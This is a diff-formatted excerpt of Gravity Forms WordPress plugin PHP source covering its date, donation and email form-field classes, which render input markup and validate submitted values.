$icon_display = $this->calendarIconType == 'calendar' ? 'inline' : 'none';
|
||||
|
||||
if ( $is_sub_label_above ) {
|
||||
$month_field = "<div class='gfield_date_month ginput_date' id='gfield_input_date_month' style='display:$datefield_display'>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
<input id='{$field_id}_1' name='ginput_month' type='text' {$month_placeholder_attribute} {$disabled_text} value='{$month_value}'/>
|
||||
</div>";
|
||||
$day_field = "<div class='gfield_date_day ginput_date' id='gfield_input_date_day' style='display:$datefield_display'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
<input id='{$field_id}_2' name='ginput_day' type='text' {$day_placeholder_attribute} {$disabled_text} value='{$day_value}'/>
|
||||
</div>";
|
||||
$year_field = "<div class='gfield_date_year ginput_date' id='gfield_input_date_year' style='display:$datefield_display'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
<input id='{$field_id}_3' type='text' name='text' {$year_placeholder_attribute} {$disabled_text} value='{$year_value}'/>
|
||||
</div>";
|
||||
} else {
|
||||
$month_field = "<div class='gfield_date_month ginput_date' id='gfield_input_date_month' style='display:$datefield_display'>
|
||||
<input id='{$field_id}_1' name='ginput_month' type='text' {$month_placeholder_attribute} {$disabled_text} value='{$month_value}'/>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
</div>";
|
||||
$day_field = "<div class='gfield_date_day ginput_date' id='gfield_input_date_day' style='display:$datefield_display'>
|
||||
<input id='{$field_id}_2' name='ginput_day' type='text' {$day_placeholder_attribute} {$disabled_text} value='{$day_value}'/>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
</div>";
|
||||
$year_field = "<div class='gfield_date_year ginput_date' id='gfield_input_date_year' style='display:$datefield_display'>
|
||||
<input type='text' id='{$field_id}_3' name='ginput_year' {$year_placeholder_attribute} {$disabled_text} value='{$year_value}'/>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
</div>";
|
||||
}
|
||||
|
||||
$month_dropdown = "<div class='gfield_date_dropdown_month ginput_date_dropdown' id='gfield_dropdown_date_month' style='display:$dropdown_display'>" . $this->get_month_dropdown( '', "{$field_id}_1", rgar( $date_info, 'month' ), '', $disabled_text, $month_placeholder_value ) . '</div>';
|
||||
$day_dropdown = "<div class='gfield_date_dropdown_day ginput_date_dropdown' id='gfield_dropdown_date_day' style='display:$dropdown_display'>" . $this->get_day_dropdown( '', "{$field_id}_2", rgar( $date_info, 'day' ), '', $disabled_text, $day_placeholder_value ) . '</div>';
|
||||
$year_dropdown = "<div class='gfield_date_dropdown_year ginput_date_dropdown' id='gfield_dropdown_date_year' style='display:$dropdown_display'>" . $this->get_year_dropdown( '', "{$field_id}_3", rgar( $date_info, 'year' ), '', $disabled_text, $year_placeholder_value, $form ) . '</div>';
|
||||
|
||||
$field_string = "<div class='ginput_container ginput_container_date' id='gfield_input_datepicker' style='display:$datepicker_display'><input name='ginput_datepicker' type='text' {$date_picker_placeholder} {$disabled_text} value = '{$picker_value}'/><img src='" . GFCommon::get_base_url() . "/images/calendar.png' id='gfield_input_datepicker_icon' style='display:$icon_display'/></div>";
|
||||
|
||||
switch ( $field_position ) {
|
||||
case 'dmy' :
|
||||
$date_inputs = $day_field . $month_field . $year_field . $day_dropdown . $month_dropdown . $year_dropdown;
|
||||
break;
|
||||
|
||||
case 'ymd' :
|
||||
$date_inputs = $year_field . $month_field . $day_field . $year_dropdown . $month_dropdown . $day_dropdown;
|
||||
break;
|
||||
|
||||
default :
|
||||
$date_inputs = $month_field . $day_field . $year_field . $month_dropdown . $day_dropdown . $year_dropdown;
|
||||
break;
|
||||
}
|
||||
|
||||
$field_string .= "<div id='{$field_id}' class='ginput_container ginput_container_date'>{$date_inputs}</div>";
|
||||
|
||||
return $field_string;
|
||||
} else {
|
||||
|
||||
$date_type = $this->dateType;
|
||||
if ( in_array( $date_type, array( 'datefield', 'datedropdown' ) ) ) {
|
||||
|
||||
switch ( $field_position ) {
|
||||
|
||||
case 'dmy' :
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
if ( $date_type == 'datedropdown' ) {
|
||||
|
||||
$field_str = "<div class='clear-multi'><div class='gfield_date_dropdown_day ginput_container ginput_container_date' id='{$field_id}_2_container'>" . $this->get_day_dropdown( "input_{$id}[]", "{$field_id}_2", rgar( $date_info, 'day' ), $tabindex, $disabled_text, $day_placeholder_value ) . '</div>';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= "<div class='gfield_date_dropdown_month ginput_container ginput_container_date' id='{$field_id}_1_container'>" . $this->get_month_dropdown( "input_{$id}[]", "{$field_id}_1", rgar( $date_info, 'month' ), $tabindex, $disabled_text, $month_placeholder_value ) . '</div>';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= "<div class='gfield_date_dropdown_year ginput_container ginput_container_date' id='{$field_id}_3_container'>" . $this->get_year_dropdown( "input_{$id}[]", "{$field_id}_3", rgar( $date_info, 'year' ), $tabindex, $disabled_text, $year_placeholder_value, $form ) . '</div></div>';
|
||||
} else {
|
||||
|
||||
$field_str = $is_sub_label_above
|
||||
? "<div class='clear-multi'>
|
||||
<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='$day_value' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
|
||||
</div>"
|
||||
: "<div class='clear-multi'>
|
||||
<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='$day_value' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
</div>";
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= $is_sub_label_above
|
||||
? "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
|
||||
</div>"
|
||||
: "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
</div>";
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= $is_sub_label_above
|
||||
? "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
|
||||
</div>
|
||||
</div>"
|
||||
: "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
|
||||
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
</div>
|
||||
</div>";
|
||||
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
case 'ymd' :
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
if ( $date_type == 'datedropdown' ) {
|
||||
|
||||
$field_str = "<div class='clear-multi'><div class='gfield_date_dropdown_year ginput_container ginput_container_date' id='{$field_id}_3_container'>" . $this->get_year_dropdown( "input_{$id}[]", "{$field_id}_3", rgar( $date_info, 'year' ), $tabindex, $disabled_text, $year_placeholder_value, $form ) . '</div>';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= "<div class='gfield_date_dropdown_month ginput_container ginput_container_date' id='{$field_id}_1_container'>" . $this->get_month_dropdown( "input_{$id}[]", "{$field_id}_1", rgar( $date_info, 'month' ), $tabindex, $disabled_text, $month_placeholder_value ) . '</div>';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= "<div class='gfield_date_dropdown_day ginput_container ginput_container_date' id='{$field_id}_2_container'>" . $this->get_day_dropdown( "input_{$id}[]", "{$field_id}_2", rgar( $date_info, 'day' ), $tabindex, $disabled_text, $day_placeholder_value ) . '</div></div>';
|
||||
} else {
|
||||
|
||||
$field_str = $is_sub_label_above
|
||||
? "<div class='clear-multi'>
|
||||
<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
|
||||
</div>"
|
||||
: "<div class='clear-multi'>
|
||||
<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
|
||||
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
</div>";
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= $is_sub_label_above
|
||||
? "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
|
||||
</div>"
|
||||
: "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
</div>";
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= $is_sub_label_above
|
||||
? "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
|
||||
</div>
|
||||
</div>"
|
||||
: "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
</div>
|
||||
</div>";
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
default :
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
if ( $date_type == 'datedropdown' ) {
|
||||
|
||||
$field_str = "<div class='clear-multi'><div class='gfield_date_dropdown_month ginput_container ginput_container_date' id='{$field_id}_1_container'>" . $this->get_month_dropdown( "input_{$id}[]", "{$field_id}_1", rgar( $date_info, 'month' ), $tabindex, $disabled_text, $month_placeholder_value ) . '</div>';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= "<div class='gfield_date_dropdown_day ginput_container ginput_container_date' id='{$field_id}_2_container'>" . $this->get_day_dropdown( "input_{$id}[]", "{$field_id}_2", rgar( $date_info, 'day' ), $tabindex, $disabled_text, $day_placeholder_value ) . '</div>';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= "<div class='gfield_date_dropdown_year ginput_container ginput_container_date' id='{$field_id}_3_container'>" . $this->get_year_dropdown( "input_{$id}[]", "{$field_id}_3", rgar( $date_info, 'year' ), $tabindex, $disabled_text, $year_placeholder_value, $form ) . '</div></div>';
|
||||
} else {
|
||||
|
||||
$field_str = $is_sub_label_above
|
||||
? "<div class='clear-multi'><div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
|
||||
</div>"
|
||||
: "<div class='clear-multi'><div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
|
||||
</div>";
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= $is_sub_label_above
|
||||
? "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
|
||||
</div>"
|
||||
: "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
|
||||
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
|
||||
</div>";
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$field_str .= $is_sub_label_above
|
||||
? "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
|
||||
</div>
|
||||
</div>"
|
||||
: "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
|
||||
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
|
||||
</div>
|
||||
</div>";
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
return "<div id='{$field_id}' class='ginput_container ginput_container_date'>$field_str</div>";
|
||||
} else {
|
||||
$picker_value = esc_attr( GFCommon::date_display( $picker_value, $format ) );
|
||||
$icon_class = $this->calendarIconType == 'none' ? 'datepicker_no_icon' : 'datepicker_with_icon';
|
||||
$icon_url = empty( $this->calendarIconUrl ) ? GFCommon::get_base_url() . '/images/calendar.png' : $this->calendarIconUrl;
|
||||
$icon_url = esc_url( $icon_url );
|
||||
$tabindex = $this->get_tabindex();
|
||||
$class = esc_attr( $class );
|
||||
|
||||
return "<div class='ginput_container ginput_container_date'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='text' value='{$picker_value}' class='datepicker {$class} {$format} {$icon_class}' {$tabindex} {$disabled_text} {$date_picker_placeholder}/>
|
||||
</div>
|
||||
<input type='hidden' id='gforms_calendar_icon_$field_id' class='gform_hidden' value='$icon_url'/>";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_label_class() {
|
||||
return $this->dateType == 'datefield' ? 'gfield_label gfield_label_before_complex' : 'gfield_label';
|
||||
}
|
||||
|
||||
public function get_value_default() {
|
||||
|
||||
$value = parent::get_value_default();
|
||||
|
||||
if ( is_array( $this->inputs ) ) {
|
||||
$value = $this->get_date_array_by_format( $value );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* The default value for mulit-input date fields will always be an array in mdy order
|
||||
* this code will alter the order of the values to the date format of the field
|
||||
*/
|
||||
public function get_date_array_by_format( $value ) {
|
||||
$format = empty( $this->dateFormat ) ? 'mdy' : esc_attr( $this->dateFormat );
|
||||
$position = substr( $format, 0, 3 );
|
||||
$date = array_combine( array( 'm', 'd', 'y' ), $value ); // takes our numerical array and converts it to an associative array
|
||||
$value = array_merge( array_flip( str_split( $position ) ), $date ); // uses the mdy position as the array keys and creates a new array in the desired order
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function checkdate( $month, $day, $year ) {
|
||||
if ( empty( $month ) || ! is_numeric( $month ) || empty( $day ) || ! is_numeric( $day ) || empty( $year ) || ! is_numeric( $year ) || strlen( $year ) != 4 ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return checkdate( $month, $day, $year );
|
||||
}
|
||||
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
return GFCommon::date_display( $value, $this->dateFormat );
|
||||
}
|
||||
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
return GFCommon::date_display( $value, $this->dateFormat );
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::date_display()
|
||||
* @uses GF_Field_Date::$dateFormat
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
$format_modifier = empty( $modifier ) ? $this->dateFormat : $modifier;
|
||||
|
||||
return GFCommon::date_display( $value, $format_modifier );
|
||||
}
|
||||
|
||||
private function get_month_dropdown( $name = '', $id = '', $selected_value = '', $tabindex = '', $disabled_text = '', $placeholder = '' ) {
|
||||
if ( $placeholder == '' ) {
|
||||
$placeholder = esc_html__( 'Month', 'gravityforms' );
|
||||
}
|
||||
|
||||
return $this->get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, 1, 12 );
|
||||
}
|
||||
|
||||
private function get_day_dropdown( $name = '', $id = '', $selected_value = '', $tabindex = '', $disabled_text = '', $placeholder = '' ) {
|
||||
if ( $placeholder == '' ) {
|
||||
$placeholder = esc_html__( 'Day', 'gravityforms' );
|
||||
}
|
||||
|
||||
return $this->get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, 1, 31 );
|
||||
}
|
||||
|
||||
private function get_year_dropdown( $name = '', $id = '', $selected_value = '', $tabindex = '', $disabled_text = '', $placeholder = '', $form ) {
|
||||
if ( $placeholder == '' ) {
|
||||
$placeholder = esc_html__( 'Year', 'gravityforms' );
|
||||
}
|
||||
$year_min = apply_filters( 'gform_date_min_year', '1920', $form, $this );
|
||||
$year_max = apply_filters( 'gform_date_max_year', date( 'Y' ) + 1, $form, $this );
|
||||
|
||||
return $this->get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, $year_max, $year_min );
|
||||
}
|
||||
|
||||
private function get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, $start_number, $end_number ) {
|
||||
$str = "<select name='{$name}' id='{$id}' {$tabindex} {$disabled_text} >";
|
||||
if ( $placeholder !== false ) {
|
||||
$str .= "<option value=''>{$placeholder}</option>";
|
||||
}
|
||||
|
||||
$increment = $start_number < $end_number ? 1 : - 1;
|
||||
|
||||
for ( $i = $start_number; $i != ( $end_number + $increment ); $i += $increment ) {
|
||||
$selected = intval( $i ) == intval( $selected_value ) ? "selected='selected'" : '';
|
||||
$str .= "<option value='{$i}' {$selected}>{$i}</option>";
|
||||
}
|
||||
$str .= '</select>';
|
||||
|
||||
return $str;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the value to save in the entry.
|
||||
*
|
||||
* @param string $value
|
||||
* @param array $form
|
||||
* @param string $input_name
|
||||
* @param int $lead_id
|
||||
* @param array $lead
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
// if $value is a default value and also an array, it will be an associative array; to be safe, let's convert all array $value to numeric
|
||||
if ( is_array( $value ) ) {
|
||||
$value = array_values( $value );
|
||||
}
|
||||
|
||||
$value = GFFormsModel::prepare_date( $this->dateFormat, $value );
|
||||
$value = $this->sanitize_entry_value( $value, $form['id'] );
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function get_entry_inputs() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
$this->calendarIconType = wp_strip_all_tags( $this->calendarIconType );
|
||||
$this->calendarIconUrl = wp_strip_all_tags( $this->calendarIconUrl );
|
||||
if ( $this->dateFormat && ! in_array( $this->dateFormat, array( 'mdy', 'dmy', 'dmy_dash', 'dmy_dot', 'ymd_slash', 'ymd_dash', 'ymd_dot' ) ) ) {
|
||||
$this->dateFormat = 'mdy';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Date() );
|
||||
81
includes/fields/class-gf-field-donation.php
Normal file
81
includes/fields/class-gf-field-donation.php
Normal file
@@ -0,0 +1,81 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* @deprecated since 1.6
|
||||
*
|
||||
* Class GF_Field_Donationç
|
||||
*/
|
||||
class GF_Field_Donation extends GF_Field {
|
||||
|
||||
public $type = 'donation';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'donation_field_type_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'admin_label_setting',
|
||||
'label_placement_setting',
|
||||
'rules_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array();
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$price = GFCommon::to_number( $value );
|
||||
if ( ! rgblank( $value ) && ( $price === false || $price < 0 ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid amount.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = absint( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$value = esc_attr( $value );
|
||||
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$class = esc_attr( $class );
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
return "<div class='ginput_container ginput_container_donation'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class} ginput_donation_amount' {$tabindex} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
</div>";
|
||||
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
return GFCommon::to_money( $value, $currency );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Donation() );
|
||||
208
includes/fields/class-gf-field-email.php
Normal file
208
includes/fields/class-gf-field-email.php
Normal file
@@ -0,0 +1,208 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Email extends GF_Field {
|
||||
|
||||
public $type = 'email';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Email', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'email_confirm_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_entry_inputs() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$email = is_array( $value ) ? rgar( $value, 0 ) : $value; // Form objects created in 1.8 will supply a string as the value.
|
||||
$is_blank = rgblank( $value ) || ( is_array( $value ) && rgempty( array_filter( $value ) ) );
|
||||
|
||||
if ( ! $is_blank && ! GFCommon::is_valid_email( $email ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid email address.', 'gravityforms' ) : $this->errorMessage;
|
||||
} elseif ( $this->emailConfirmEnabled && ! empty( $email ) ) {
|
||||
$confirm = is_array( $value ) ? rgar( $value, 1 ) : $this->get_input_value_submission( 'input_' . $this->id . '_2' );
|
||||
if ( $confirm != $email ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = esc_html__( 'Your emails do not match.', 'gravityforms' );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
$value = array_values( $value );
|
||||
}
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$id = absint( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
$form_id = ( $is_entry_detail || $is_form_editor ) && empty( $form_id ) ? rgget( 'id' ) : $form_id;
|
||||
|
||||
$size = $this->size;
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
|
||||
$class = $this->emailConfirmEnabled ? '' : $size . $class_suffix; //Size only applies when confirmation is disabled
|
||||
|
||||
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
|
||||
$field_sub_label_placement = $this->subLabelPlacement;
|
||||
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
|
||||
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
|
||||
|
||||
$html_input_type = RGFormsModel::is_html5_enabled() ? 'email' : 'text';
|
||||
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
